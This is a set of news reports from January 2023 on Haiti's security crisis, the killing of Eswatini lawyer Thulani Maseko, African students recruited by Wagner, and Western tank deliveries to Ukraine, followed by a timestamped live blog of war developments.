In early October, U.N. Secretary-General Antonio Guterres backed a request from the Haitian government to send an international specialized armed force to the Caribbean Island nation to address spiraling insecurity and a deepening humanitarian crisis.

Hopes that the United States or Canada might lead the force have not materialized, although both countries have sent equipment to assist the Haitian National Police. There has been little interest in contributing forces among the wider international community.

Meanwhile, the Haitian people continue to suffer, with killings and kidnappings rising and the armed gangs blocking access to food, water and health services.

"Close to 5 million people are facing conditions of acute hunger across the country, and while 90% of schools are now operating, thousands of children, especially those living in gang-affected areas, are yet to start the school year," U.N. Special Representative La Lime told the council. "And there are increasing reports of minors being recruited to serve in gangs."

Haiti's U.N. envoy echoed the urgency of the situation, saying there is no room for complacency.

"This is an imperative right now," Ambassador Antonio Rodrigue said. "If we overcome the gangs, we will restore order and peace by implementing the national security plan. We cannot wait, and the security situation could worsen any day, and worsen the fate of the people who are already suffering terribly."

Haiti is also facing a political crisis. As of January 9, the terms of the last 10 democratically elected senators expired, meaning there is not a single elected official left in the country.

Rodrigue said without security, the country cannot hold free and fair elections to install a new government that could tackle the myriad challenges.

The foreign minister of neighboring Dominican Republic also appealed to the council to act, saying his country is having trouble coping with the spillover effects of Haiti's crisis.

"The Dominican government is compelled to the take necessary measures to curb the impact of violence and institutional deterioration in Haiti and the impact that might have on our national territory," Minister Roberto Alvarez Gil told the council.

He said that includes irregular migration, smuggling of goods and trafficking of people, weapons and drugs.

On a positive note, council members welcomed the signing on December 21 of a National Consensus Agreement by a broad spectrum of Haitian political figures, civil society members, clergy, trade unions and the private sector on a way forward on elections.
The government of Eswatini has criticized speculation it may have been responsible for the killing of well-known human rights lawyer Thulani Maseko and has pledged to investigate. Maseko, who was shot dead at his home Saturday, was an outspoken critic of the government, which rights groups say made him a target in the past.

Rights groups, Western embassies, and the U.N. have all expressed concern over the killing.

By most accounts Maseko, who was shot dead by unknown gunmen at his home over the weekend, was one of Eswatini's shining lights, a rare critical voice in Africa's last remaining absolute monarchy.

The 52-year-old, a former fellow at American University's Washington College of Law, was a human rights lawyer, prominent opposition politician and columnist.

He was a thorn in the side of the government of Eswatini, formerly known as Swaziland, and had been jailed for more than a year in 2014. Maseko's death came just hours after the king, Mswati III, spoke against activists challenging his rule.

Robert Shivambu, Amnesty International's southern Africa spokesman, called for justice for Maseko's family.

"The cold-blooded unlawful killing of Thulani Maseko offers a chilling reminder that human rights defenders, especially those at the front of calling for political reform in Eswatini, are not safe," Shivambu said. "If they're not being persecuted, harassed or intimidated by the state, they are at risk of losing their lives. Maseko's family deserves justice; his killers must be brought to trial."

Shivambu said any investigation must be conducted separately from the government and its agencies.

Eswatini, a small kingdom bordering South Africa and Mozambique and a former British colony, has been ruled by the king since 1986.

He has absolute power and has regularly been accused of human rights abuses. In 2021, there were large pro-democracy protests that resulted in several deaths.

Eswatini government spokesman Alpheous Nxumalo hit back at what he said were unjust "insinuations" on social media that the government had any hand in Maseko's killing.



"The position of government is the same, we are baffled, we are taken aback, and we are very disappointed that you are quoting political activists in the country and in South Africa who are blaming government for the murderous crime that has been committed against the person of Mr. Maseko," Nxumalo said. "Government has got no, absolutely no, hand in the murder of Mr. Maseko."

He said an investigation was under way into who was responsible.



"Mr. Maseko has been doing human rights activism in this country for a long time," Nxumalo said. "He has been out to schools internationally, came back, continued with his agenda. He was absolutely no threat whatsoever at any given time as we were pursing our political agenda in the country."

Amnesty's Shivambu said Maseko's death, which already has sent a chilling message to pro-democracy activists across the country, may signify an escalation in attacks against those who are openly seeking political reforms.

The story has made international headlines, with United Nations Human Rights chief Volker Turk urging an impartial investigation into the killing. The U.S. embassy in Eswatini expressed "profound sadness" at the murder, while the European Union voiced "grave concern" about the rights situation in Eswatini.
Hundreds of people attended a memorial service in Lusaka on Tuesday for a Zambian student who died fighting for Russia in Ukraine as Tanzania confirmed the death of another student who was also recruited in a Russian jail.

Family members broke down as they filed past the coffin of Lemekani Nyirenda at Lusaka Baptist Church, where the 23-year-old was a regular worshipper before moving to Russia to study nuclear engineering.

Nyirenda was recruited by Russia's mercenary Wagner Group last year while serving a nine-and-a-half year jail term for a drug offense and sent to fight in Ukraine.

His death in September sparked a diplomatic spat, with Zambia demanding an urgent explanation from the Kremlin.

Meanwhile, Tanzania on Tuesday confirmed that another student, Nemes Tarimo, had been killed after also being recruited in jail by Wagner.

"When Tarimo was serving jail, he was given an opportunity to join the Russian army group called Wagner for payment and the promise that he would be freed after the war," Tanzanian Foreign Minister Stergomena Tax said.

"Tarimo agreed, and he was taken to Ukraine where he was killed on October 24."

In recent months, men have been recruited from Russian prisons to fight on the front lines in Ukraine with the promise of reduced sentences and attractive fees.

Tarimo, who had been studying in Russia since 2020, was arrested in March 2022 and sentenced to a seven-year jail term for undisclosed reasons.

"It's illegal for a Tanzanian national to join any foreign army," added the foreign minister.

On Tuesday, Nyirenda's father paid tribute to his son, saying he was a hard worker who helped set up a beehive business for the family.

Edwin Nyirenda told mourners his son had sought a part-time job and "started working as a courier" after posting an advertisement online when he got into trouble.

The two were last in touch at the end of August when Nyirenda told his father he would return home after going to fight in Ukraine.

Nyirenda's body was repatriated in December and will be laid to rest in a private ceremony in Rufunsa, east of Lusaka, on Wednesday.

Funerals were delayed after some family members raised concerns that the remains might not belong to the student.

But doubts were dispelled by a DNA test, said family spokesman Ian Banda.

"There may be some parts missing but by and large, we have the remains of Lemekhani," Banda told journalists after the service.
Several key U.S. lawmakers endorsed the next major step in American assistance to Ukraine on Tuesday, encouraging the White House to move forward with a plan to send M1 Abrams tanks to combat Russian aggression.

"Seldom in the history of modern warfare has so much depended on so few tanks," Republican Lindsey Graham told reporters Tuesday after returning from a congressional trip to Ukraine. "Three hundred tanks given to the Ukrainians who have an ability to take any weapon system and maximize its benefit."

Despite the difficulties of running M1 Abrams tanks on jet fuel, the Biden administration is reportedly weighing sending the tanks to Ukraine, hoping it would increase chances of Germany sending its own Leopard tanks.

Poland announced Monday it would seek German approval to send tanks from its stock of Leopards, and Great Britain announced last week it would send Challenger 2 tanks. Ukrainian officials said Challenger 2 tanks were "not sufficient to meet operational goals."

Ukraine has consistently asked Western nations to supply tanks to defend itself against Russia. Last week at a meeting of NATO officials, Germany said it would consider supplying Leopard 2s  seen as the most advanced tanks  if the United States would supply M1 Abrams.

German news outlet Der Spiegel and others cited unconfirmed reports late Tuesday that the German government has decided to send the Leopard 2 tanks.

A U.S. official confirmed to VOA on Tuesday that the United States was preparing to announce it would provide Ukraine with U.S.-made M1 Abrams tanks. The official said those tanks would likely be procured through the Ukraine Security Assistance Initiative and not from existing U.S. stocks.

"If press reports are true, I am very pleased with the Biden Administration's apparent decision to send Abrams tanks to help Ukraine evict Russia from Ukrainian soil," Graham said in a statement.

"The Ukrainians can win if they have the tools that are necessary  beginning with tanks," said Democratic Senator Richard Blumenthal, who was also part of the delegation that met with President Volodymyr Zelenskyy in Ukraine. "The Leopard 2 tanks are important because they are there. They're in Europe, thousands of them within easy transport, training, fueling. They are essential. And just very bluntly, if it takes sending three, five, 10 Abrams tanks there, let's do it."

The Pentagon said earlier Tuesday that M1 Abrams are "complex weapons systems that are challenging to maintain." Brigadier General Patrick Ryder told reporters, "Our focus has been on providing Ukraine with capabilities it can employ right now on the battlefield."

Senate Minority Leader Mitch McConnell warned on the Senate floor Tuesday that the West's failure to act could have devastating consequences.

"Germany has not only resisted calls to send Leopard 2 tanks to Ukraine but has also prevented other European nations to transfer their own German-produced Leopards to Ukraine. Time is short, and while Berlin agonizes over its own decision whether to provide Leopards to Ukraine, it should proactively and explicitly make clear that other allies are free to do so," McConnell said.

He added that the Biden administration's "latest deliveries failed to include the longer-range missiles and more sophisticated munitions that Ukraine has been requesting for months. Mr. President, Ukraine's brave resistance deserves our continued praise. But more importantly, it needs our concrete and consistent material support."

Ukraine on Tuesday marked the 11-month anniversary of the Russian invasion. Since then, the United States has provided nearly $50 billion in humanitarian, economic and military aid. But U.S. assistance to Ukraine could face a roadblock in the House of Representatives, where Republicans holding the majority have expressed concern about oversight of the aid. Speaker of the House Kevin McCarthy said last year the United States would not continue to write a "blank check" on aid while Americans face a difficult domestic economic situation.

But Graham pushed back against the perception the aid is not being properly managed.

"We're very reassured that that our military assistance is going to where it should be going to and that accountability and transparency is there," Graham said. "To my House colleagues, to those who believe we shouldn't write a blank check, I agree. To those who have concerns about what's going on in Ukraine  go. Don't talk about it in Washington, get on a plane, get on a train, rest up, drink a lot of water, take your vitamins, and they will open up the books."

VOA's Jeff Seldin contributed to this report.
For full coverage of the crisis in Ukraine, visit Flashpoint Ukraine.

The latest developments in Russias war on Ukraine. All times EST.

11 p.m.: Democratic and Republican U.S. lawmakers praised Ukraine's government on Tuesday for taking swift action against corruption and insisted that U.S. military and humanitarian aid to President Volodymyr Zelenskyy's government should continue, Reuters reported.

Several senior Ukrainian officials were dismissed on Tuesday in Ukraine's biggest political shake-up of the war so far, which Kyiv said showed Zelenskyy was in tune with his public following corruption allegations.

"It's a defining moment for Ukraine. It's a defining moment for all of us, Germany, the United States, all of our allies. We expect that President Zelenskyy will follow through with a promise he made that Ukraine is going to change on the corruption front," Republican Senator Lindsey Graham told a news conference days after returning from Kyiv.

Democratic Senator Richard Blumenthal, who was also on the trip, said the dismissals were important. "It demonstrates what President Zelenskyy has told us, that there will be zero tolerance for fraud or waste," he said.

10:20 p.m.: Russia's top diplomat on Tuesday pledged security training to Eswatini, just days after the brutal murder of a leading human rights lawyer and opposition politician, Agence France-Presse reported.

Foreign Minister Sergey Lavrov was speaking in the landlocked country, Africa's last absolute monarchy, a day after visiting neighboring South Africa and just two days after Thulani Maseko was shot.

"Russia is prepared to assist Eswatini in training of security personnel, improving food production and also assistance on other issues of mutual cooperation," Lavrov told reporters.

Following talks with Eswatini's prime minister and other Cabinet members, he said 50 Eswatini security personnel were studying at Russian defense universities.

The weekend killing of Maseko has sparked worldwide condemnation.

9:04 p.m.: Two Britons missing in Ukraine this month were killed while attempting a "humanitarian evacuation" from a war-ravaged town in the east, one of the men's families confirmed Tuesday, according to Agence France-Presse.

Chris Parry, 28, and Andrew Bagshaw, 48, died while undertaking voluntary work in Soledar, in the Donetsk region of Ukraine, Parry's family said in a statement released by Britain's Foreign Office.

Bagshaw is also a New Zealand citizen, according to reports, with the country's foreign ministry saying earlier this month it was "working with relevant agencies in the U.K. to confirm the latest situation."

Concern had grown about their fates after the head of the Russian mercenary group Wagner, which helped captured Soledar from Ukrainian forces recently, said on January 11 that one of the missing men's bodies had been found there.

8 p.m.: Ukraine has enough coal and gas reserves for the remaining months of winter despite repeated Russian attacks on its energy system, Prime Minister Denys Shmyhal said on Tuesday, according to Reuters.

Shmyhal said the situation in the energy sector remained difficult but under control after a months-long Russian campaign of drone and missile strikes on critical infrastructure that damaged about 40% of the energy system.

"For now all Russia's attempts to plunge Ukraine into darkness have failed," Shmyhal told a government meeting.

"We have enough reserves to continue and end the heating season in normal mode. About 11 billion cubic meters of gas are stored in gas storages and nearly 1.2 million [metric tons] of coal are in storages."

Despite unseasonably warm weather in December and January, all Ukraine's regions are experiencing scheduled electricity shutdowns due to an energy deficit. Grid operator Ukrenergo said that energy generation had picked up this week.

7:03 p.m.: G-7 and other partner countries on Tuesday pledged to maintain their support for Ukraine's energy sector, including delivering equipment and other humanitarian aid during winter, the U.S. State Department said following a meeting of the group's foreign ministers, according to Reuters.

U.S. Secretary of State Antony Blinken and Japanese Foreign Minister Yoshimasa Hayashi co-hosted the meeting, in which countries also vowed to continue coordinating on Ukraine's efforts to "modernize and decarbonize its energy grid," the department said after the virtual meeting.

The foreign ministers reiterated calls for Russia to halt attacks on Ukraine's energy and heating systems, the State Department added in a statement.

6:22 p.m.: Finland's president on Tuesday suggested the Nordic nation could offer its training capabilities to prospective tank units, Agence France-Presse reported.

"We are the few countries in Europe which still have conscripts. That means our training system is very developed," Sauli Niinisto said in a press conference with his Ukrainian counterpart Volodymyr Zelenskyy, during a surprise visit to Kyiv.

"They take in every year newcomers, train them and we have very experienced training and premises for trainees," he added.

Niinisto emphasized that the ongoing discussion was not just about individual tanks but about a "greater unit" and "how to build it up."

"I can just promise that we are constructive in that unit," he said.

The president said there were "different possibilities" for how Finland could play a role in that support.

5:39 p.m.: President Volodymyr Zelenskyy on Tuesday launched the biggest government reshuffle since the beginning of Russia's full-scale invasion in February 2022.

A deputy head of the President's Office, a deputy prosecutor general, several deputy ministers, and several governors were ousted following a number of scandals, including corruption ones.

Some saw the reshuffle as an effort by Zelenskyy to clean house and show that state officials' corrupt and ostentatious lifestyle is unacceptable in a country at war.

But critics argued that the reshuffle is a result of political infighting, not a genuine anti-corruption drive, since some notorious top officials accused of corruption are notably missing from the list of those fired.

The Kyiv Independent answers the question: Who are the officials Zelenskyy ousted?

5 p.m.: Twelve countries have agreed to supply Ukraine with around 100 Leopard 2 tanks if the German government gives its consent, ABC News reported, citing a senior Ukrainian official who spoke exclusively to ABC.

Those agreements, the source said, were made at Friday's summit at Ramstein US Air Force Base in Germany when allied nations discussed military support for Ukraine.

Countries such as Poland and Finland have already indicated publicly that they are willing to provide a number of their Leopard 2 tanks to Ukraine.

The Ukrainian official with knowledge of the matter said Spain, the Netherlands and Denmark were also willing to provide some of their tanks, however Germany's consent was still necessary for the coalition of countries to proceed on the matter.

4:20 p.m.: Twenty-five people have been killed and more than 90 injured in Russia's border region of Belgorod since the start of Moscow's assault on Ukraine, the region's governor told President Vladimir Putin, Agence France-Presse reported.

"Ukraine, the enemy, is targeting peaceful settlements. There are 25 dead, 96 people were wounded," governor Vyacheslav Gladkov told Putin in televised remarks.

This is the first time Russian officials have announced an official death toll for a Russian region since the start of Moscow's offensive in Ukraine.

Gladkov also said around 6,500 people had to be evacuated from border villages and were essentially "refugees."

Putin praised Russia's weapons, saying, "Practical combat work has shown that Russia's air defense is one of the best in the world."

3:45 p.m.: At the only place in their village where they could find a strong mobile internet signal - a windswept hill on the barren steppe - Ukrainian fifth-grader Mykola Dziuba and his friends have built makeshift tent to serve as a remote classroom, Reuters reported.



"We sit here for around two or three hours, sometimes just for an hour," said Dziuba as the wind rattled the rickety structure. "When it got cold recently, it wasn't too great."



Dziuba's school in eastern Ukraine has been in distance-learning mode since the start of the new school year in September, a few weeks before the area was recaptured from Russian occupation during a Ukrainian counteroffensive. That prompted him and his friends to seek out their own spaces for learning.



He said they collected the materials - plastic sheeting, wooden poles, bricks and sand - from around their homes. The students listen to lectures and send assignments back and forth to their teacher via messaging apps.



School director Liudmyla Myronenko said she had not expected her students to approach their remote studies so enthusiastically. "I was really in awe of the children," she said. "They wanted to see us, they wanted to communicate with us somehow."

2:50 p.m.:





2:35 p.m.: At the U.S. State Department briefing Tuesday afternoon, spokesman Ned Price was asked about Germany and the U.S. providing tanks to Ukraine, but he said he was not going to get ahead of any official announcements that allies may have to make, according to VOAs senior diplomatic correspondent Cindy Saine.



"Our position is that this is a question for our German allies, for our Polish allies," Price said, remarking on Germany authorizing allies to deliver German-made tanks.



Asked if the US will send tanks, Price said, "Now when it comes to tactical battlefield knowledge, no one is going to have more of that than the Department of Defense."



Commenting on Ukrainian President Zelenskyy's anti-corruption measures, Price said, "...We welcome quick and decisive actions by President Zelenskyy, as well as vigilance by the Ukrainian civil society and media, to counter corruption. to ensure effective monitoring and accountability of public procurement and to hold those in positions of public trust to accountant when they fail to meet the obligations and the responsibilities that are entrusted to them."



2:20 p.m.: VOAs senior diplomatic correspondent Cindy Saine shared on Twitter news from German media organization Der Spiegel, reporting that the German government will deliver tanks to Ukraine and also authorize allies to do so.





2:10 p.m.: German Chancellor Olaf Scholz has decided to send Leopard 2 battle tanks to Ukraine and allow other countries such as Poland to do so while the United States may supply Abrams tanks, two sources familiar with the matter told Reuters.



A government spokesperson, the foreign ministry and the defense ministry declined to comment.



The decision concerns at least one company of Leopard 2 A6 tanks that will be provided out of Bundeswehr stocks, said Spiegel magazine, which first reported the news. One company usually comprises 14 tanks.



"Today the Chancellor made a decision that no one took lightly. The fact that Germany will support Ukraine with the Leopard tank is a strong sign of solidarity," Christian Duerr, parliamentary leader of the co-governing Free Democrats (FDP) was quoted as saying by t-online news portal.



"The #Leopard's freed!," Katrin Goering-Eckardt, vice president of the Bundestag, tweeted, sharing a link of media report on the news.



2:00 p.m.:





1:50 p.m.: Best-selling novelist Dmitry Glukhovsky says sales of his books depicting life in the Moscow Metro after a nuclear apocalypse have been booming since Russia put him on a "wanted" list for opposing the war in Ukraine and he was forced to flee abroad, Reuters reported.



Glukhovsky, 43, is known mainly for his dystopian novel "Metro 2033" and its sequels, along with their spin-off video games, about how Muscovites survive in the city's famed metro system - "the world's biggest nuclear shelter" - after a war.



With President Vladimir Putin and other top Russian politicians regularly warning the West of nuclear war over its support for Ukraine, Glukhovsky said it was hardly surprising that Russians were trying to imagine life after such a disaster.



Atomic scientists on Tuesday reset the "Doomsday Clock" - a symbolic timepiece - based on their latest assessment of how close they believe humanity is to annihilation due to existential threats such as nuclear war. The "time" is now 90 seconds to midnight, they said, 10 seconds closer than it has been for the past three years.



Glukhovsky deplored what he called the "routinization" of the nuclear threats by Russia's leaders but said the Ukraine war was unlikely to trigger a global nuclear catastrophe.

1:40 p.m.:

1:30 p.m.: The founder of Russia's Wagner mercenary group fighting in Ukraine has asked parliament to ban negative media reports about his men by amending the criminal code to make "discrediting" his fighters punishable by up to five years in jail, Reuters reported.



Yevgeny Prigozhin made the request in a letter sent to Vycheslav Volodin, the hawkish chairman of the State Duma, Russia's lower house of parliament. Prigozhin's press service published the letter on Tuesday.



Mercenary boss Prigozhin, who has adopted a high public profile since the war in Ukraine began in an apparent effort to curry favor with Putin and enhance his own prospects, has drawn attention to the major role his fighters have played in helping seize some towns and villages and has frequently criticized Russia's own top military brass.



In his letter, he accused "certain media, bloggers and Telegram channels" of discrediting some of his men, including convicts he has recruited into Wagner's ranks, by presenting them as "bad guys and criminals".



That was a reference to the fact that the sometimes grisly and murderous past of some convicts recruited by Wagner has been publicized. The men took up his offer to fight in Ukraine for six months as they were promised a pardon if they survived, even if they had originally been jailed for life.



1:15 p.m.: For the past few months, human rights activists have been sounding alarms about the Russian private military company Wagner Group using convicts to fight Moscows war in Ukraine. Now, the White House says casualties are extraordinarily high among the estimated 40,000 convicts fighting for the mercenary group on front lines in Ukraine. VOAs Igor Tsikhanenka has more.

1:00 p.m.: Ukraine's ruling party drew up a bill on Tuesday aiming to boost transparency in defense procurement after an army food contract became the subject of high-profile corruption allegations, Reuters reported, citing the parliament's website.



President Volodymyr Zelenskyy's team is trying to set out a tough stance against graft after the Defense Ministry was accused by a media outlet of overspending on food. The ministry denied the allegations.



Anastasia Radina, head of the parliamentary committee for anti-corruption matters, said the bill would make it obligatory for prices paid for products and services for the army to be made public on the state procurement website. Radina, a member of Zelenskyy's Servant of the People party, said the requirement would not be introduced for arms purchases.



"We are obliged to ensure a level of transparency in procurement for the army, under which such scandals simply will not arise. Can it be done in a way that does not expose customers and suppliers to additional risks? Yes," she said.

12:50 p.m.:



12:35 p.m.: "Scholzology" - the art of understanding German Chancellor Olaf Scholz's decisions - is in vogue as critics at home and abroad question his reluctance to supply the German-made battle tanks Ukraine wants to repulse Russian forces, Reuters reported Tuesday.



His hesitation reflects a caution driven in part by Germany's military aggression in the last century and concern about the possible consequences of ramping up shipments of armor to Ukraine.



Still, many Germans feel Scholz is not doing a very good job of explaining his thinking. "This isn't sustainable," said Marcel Dirsus of Kiel University's Institute for Security Policy. "Voters have a right to know where their chancellor stands on an issue as important as this and the country's reputation is melting down."



Any final decisions lie with Scholz, whose ruling Social Democrats (SPD) have traditionally been skeptical of military involvements and favored engagement with Russia. Scholz has so far neither said he would give the green light nor if he would send tanks from Germany. Instead he insisted on the need to act in close coordination with allies, especially Washington.



12:20 p.m.: Poland said Monday it would send its German-made tanks to Ukraine, regardless of any objections from Berlin. As VOAs Henry Ridgwell reports, Germany is under intense pressure from allies to send its Leopard 2 tanks to aid Kyivs forces  but is refusing to make a quick decision.



12:05 p.m.: Finlands foreign minister suggested Tuesday that the country may consider joining NATO without neighboring Sweden if Turkey continues to block their joint bid to enter the military alliance, The Associated Press reported.



Pekka Haavisto later backpedaled, but his comments were the first time a leading government official in either Nordic country appeared to raise doubts about becoming NATO members together at a time when the alliance is seeking to present a united front in the face of Russias war in Ukraine.



Sweden and Finland rushed to apply for NATO membership following Moscows invasion, abandoning their long-standing non-alignment policy. Their accession needs the approval of all existing NATO members, including Turkey, which has so far blocked the expansion, saying Sweden in particular needs to crack down on exiled Kurdish militants and their sympathizers.

11:55 a.m.:

11:40 a.m.: The United States, in a reversal, appears to be dropping its opposition to sending M1 Abrams battle tanks to Ukraine and an announcement could come as soon as this week, two U.S. officials told Reuters on Tuesday.

The officials, speaking on condition of anonymity, said they were not aware of a final U.S. decision to send the Abrams to Ukraine, a move that could encourage Germany to follow.

The Pentagon could not be immediately reached for comment.

Such a decision by the United States would come just days after Washington argued against sending the Abrams, despite demands from Kyiv and public pressure from Berlin as it faced calls to send German-made Leopard battle tanks.

Ukraine says heavily armored Western battle tanks would give its troops more mobility and protection ahead of a new Russian offensive that Kyiv expects in the near future. They could also help Ukraine retake some of the territory that has fallen to Russia.

11:25 a.m.: Drone footage released by the Ukrainian Army shows troops making their way across a frozen landscape, before coming under fire. Current Time reporter Andriy Kuzakov visited Ukrainian trenches at the site -- coming under fire on the way. Current Time, a co-production of Radio Free Europe/Radio Liberty and VOA, has this report.

11:15 a.m.: The European Union should introduce more sanctions against Russia's technology sector to curb Moscow's ability to produce arms and rockets it is using to wage war on Ukraine, Czech Foreign Minister Jan Lipavsky told Reuters.



He spoke after EU member states' foreign ministers on Monday agreed to allocate another 500 million euros($542 million) in military aid for Ukraine, as well as discussing more sanctions against Russia and how to hold the Kremlin accountable for starting the war 11 months ago.



"We need to be looking for new and creative ways of how to make our sanctions stronger... how to decrease (Russia's) ability to produce weapons, rockets used for shelling Ukraine's critical infrastructure," said Lipavsky.



He said opposition from Belgium and Hungary to banning trade in diamonds and nuclear energy cooperation with Russia, respectively, meant the EU would most likely not be able to build the necessary unanimity for such measures.



10:55 a.m.: Associated Press video journalist Mstyslav Chernov had just broken out of Mariupol after covering the first 20 days of the Russian invasion of the Ukrainian city and was feeling guilty about leaving. He and his colleagues, photographer Evgeniy Maloletka and producer Vasilisa Stepanenko, had been the last journalists there, sending crucial dispatches from a city under a full-scale assault. The day after, a theater with hundreds of people sheltering inside was bombed and he knew no one was there to document it. Thats when Chernov decided he wanted to do something bigger.



10:30 a.m.: The European Union's drug regulator needs to do more to tackle shortages of some widely-used antibiotics in the region, according to a letter from a group of European patient and consumer organizations reviewed by Reuters on Tuesday.



The letter to the European Medicines Agency (EMA) comes as antibiotics, including amoxicillin - used to treat bacterial infections and often prescribed for ear and chest infections in children - have been in short supply since October.



There has been a spike in demand for certain drugs linked to the resurgence of respiratory infections after two years of COVID restrictions, which has put additional pressure on global supplies, and made obtaining imports from elsewhere unlikely. Drugmakers had also cut output when demand dipped at the height of the pandemic.



Europe is in a difficult position given the migration of generic ingredient and drug manufacturing to places like India and China where costs are lower. Meanwhile, local producers have faced large hikes in input costs due to the war in Ukraine.

10:10 a.m.: President Vladimir Putin said on Tuesday that there were shortages of some medicines in Russia, despite the country producing more of its own drugs, and suggested building up stocks of popular medicines to help meet demand, Reuters reported.



While prescription drugs are exempt from Western sanctions imposed over the war in Ukraine, their delivery to Russia has been hit by transport, insurance and customs hurdles caused by the war and other restrictive measures, industry figures say.



"There has been a shortage of some drugs, despite the fact that we saw production of pharmaceutical products in the (first) three quarters of last year grow by about 22%," Putin said in a televised meeting with government officials.



"Sixty percent of medicines on the market are domestic drugs. Nevertheless, a deficit has formed in some drugs, and prices have risen."



He added that Russia does not restrict imports of drugs and continues to work with foreign manufacturers.



9:45 a.m.: Ukraine dismissed more than a dozen senior officials, including governors of several major battlefield provinces, in the biggest shake-up of its wartime leadership since Russia's invasion. The Kyiv Independent tweeted more details of those affected by the slew of changes Tuesday.



9:30 a.m.: Growing numbers of people lack enough to eat as food insecurity rises with higher prices and worsening poverty, according to a report released Tuesday by the Food and Agricultural Organization and other United Nations agencies, The Associated Press reported.



Nearly a half-billion people, more than eight in 10 of them in South Asia, were undernourished in 2021 and more than 1 billion faced moderate to severe food insecurity, the report said. For the world, the prevalence of food insecurity rose to more than 29% in 2021 from 21% in 2014.



The COVID-19 pandemic was a huge setback, causing mass job losses and disruptions, and the war in Ukraine has pushed up prices for food, energy and fertilizer, putting an adequate diet out of the reach of many millions, it said.



The report is the fifth annual stocktaking on food insecurity and hunger by U.N. agencies including the FAO, UNICEF, World Health Organization and World Food Program.

9:15 a.m.: As bombs rain down across Ukraines eastern Donbas region, some residents remain in its near-deserted cities and towns, patching up bombed-out buildings and holding on to hope that the war will come to an end. VOAs Heather Murdock reports from Bakhmut and Chasiv Yar in the Donbas.



9:00 a.m.: Despite Ukraines impressive battlefield successes against Russia and the still-unified military, intelligence, and financial backing of the West  including a $2.5 billion military aid package announced by the U.S. last week  one ex-diplomat with deep experience in the region does not expect the conflict to wind down anytime soon, The Harvard Gazette reported Tuesday.



It will be a grinding war for quite some time, said Marie Yovanovitch, the U.S. ambassador to Ukraine from 2016 to 2019, during a conversation with Emily Channell-Justice, director of the Temerty Contemporary Ukraine Program at Harvards Ukrainian Research Institute, Thursday night at the Barker Center.

8:50 a.m.:



8:35 a.m.: Poland will ask the European Union for compensation for the cost of Leopard 2 tanks it wants to send Ukraine, the Polish prime minister said on Tuesday.

"We will apply for reimbursement to the European Union, it will be another test of good will," Mateusz Morawiecki told a news conference, Reuters reported.

8:20 a.m.:



8:05 a.m.: German officials confirmed to the dpa news agency they had received Polands application to transfer its Leopard 2 battle tanks to Ukraine and said it would be assessed with due urgency, The Associated Press reported Tuesday.



Polish Defense Minister Mariusz Baszczak appealed to Germany to join the coalition of countries supporting Ukraine with Leopard 2 tanks  a reference to recent pressure on Berlin to send some of its own tanks. Germany has hesitated to take that step, despite Ukraines pleas. The tank is adaptable to many types of combat situations.



This is our common cause, because it is about the security of the whole of Europe! Baszczak tweeted.



Polish officials have indicated that Finland and Denmark are ready to join Warsaw in sending Leopards to Ukraine. Poland wants to send a company of the tanks, which means 14 of them, but they would barely make an impression in a war that involves thousands of tanks. If other countries contribute, Warsaw reckons, the tank detachment could grow to a brigade size.



NATO Secretary General Jens Stoltenberg on Tuesday called for the speedy delivery of new weapons to Ukraine, where a broad battlefield stalemate is expected to give way to new offensives in the spring.



German Foreign Minister Annalena Baerbock said Sunday that Berlin, which builds the tanks, wouldnt seek to stop Poland from providing the high-tech armor to Kyiv.

7:50 a.m.:



7:30 a.m.: Belarusian leader Alexander Lukashenko said on Tuesday that he had been asked to conclude a non-aggression pact with Ukraine, the Belta state news agency reported, citing comments that suggested he saw Kyiv as a potential threat, Reuters reported.



Lukashenko, a close ally of Russian President Vladimir Putin, disclosed the alleged offer to a meeting of government and law enforcement officials at which he also accused Ukraine - without evidence - of allowing its territory to be used by the West to train and arm militants who could destabilize the situation in Belarus.



Lukashenko was quoted by Belta as saying:



"...They are asking us not to go to war with Ukraine in any circumstances, not to move our troops there. They are proposing we conclude a non-aggression pact."



It was not immediately clear from his comments whether Ukraine itself or the West had made the alleged offer.



There was no immediate response from Kyiv, where officials have said they are worried that Moscow may use Belarus as a launching pad for a new attack on Ukraine from the north.



7:15 a.m.:



6:45 a.m.: Several senior Ukrainian officials resigned on Tuesday in a shakeup that Kyiv said showed President Volodymyr Zelenskyy was in tune with society following corruption allegations, Reuters reported.



More personnel changes are expected in coming days ahead of the first anniversary of Russia's invasion, which largely froze domestic politics as political rivalries were put aside to focus on Ukraine's survival.



The departure of officials including a deputy prosecutor general, a deputy head of the president's office and a deputy defense minister followed an announcement by Zelenskyy on Monday of "personnel decisions - some today, some tomorrow."

6:25 a.m.: Five regional governors were dismissed by Ukraine's government following an order by President Volodymyr Zelenskiyy on Tuesday amid sweeping personnel changes in governing institutions, Reuters reported.

The dismissals were announced on the Telegram messaging app by Oleh Nemchinov, a government minister.

6:10 a.m.:

5:45 a.m.: Norwegian police have begun questioning a former commander of Russia's Wagner mercenary group who recently fled to Norway about his time in Ukraine, police said on Tuesday, according to Reuters.

Andrei Medvedev, who fled from Russia by crossing the Russian-Norwegian border, has said he fears for his life after witnessing what he said was the killing and mistreatment of Russian prisoners brought to the front lines in Ukraine to fight for Wagner.

Kripos, Norway's national criminal police service, which has responsibility for investigating war crimes, has begun questioning him about his experiences in Ukraine.

"Kripos can confirm that Andrei Medvedev has been questioned," it said in an emailed statement to Reuters.

"We do not want to go into what he has explained in these interviews, but specify that he still has the status of a witness."

Medvedev's Norwegian lawyer, Brynjulf Risnes, was not immediately available for comment.

Kripos is part of the international effort to investigate war crimes in Ukraine conducted by the International Criminal Court.

"He has previously said that he was part of the Wagner group, and it is interesting for Kripos to get more information about this period," Kripos added, declining to give further details.

On Monday, Medvedev was detained by immigration police due to "disagreement" about measures taken to ensure his safety.

5:15 a.m.: The final decision on whether Germany will send Leopard tanks to Ukraine or allow other countries to do so will be taken at the chancellery in Berlin, a senior official at the foreign ministry said on Tuesday according to Reuters.

"At the end of the day, the decision will obviously be taken at the chancellery, in consensus by the government," Tobias Lindner, state secretary at the foreign ministry, said at a defense conference in Berlin organized by Handelsblatt.

"Where my minister stands in this debate is well-known, I believe," he added, referring to Foreign Minister Annalena Baerbock who said on Sunday that Germany would not stand in the way of other countries supplying Leopard tanks to Kyiv.

At the moment, the Berlin government was waiting to see whether countries submitted re-export requests which then would be passed on to Germany's national security council that decides on such requests, Lindner said.

4:50 a.m.: Germany has now received Poland's official request to re-export Leopard tanks to Ukraine, Polish defense minister Mariusz Blaszczak said on Tuesday, according to Reuters.

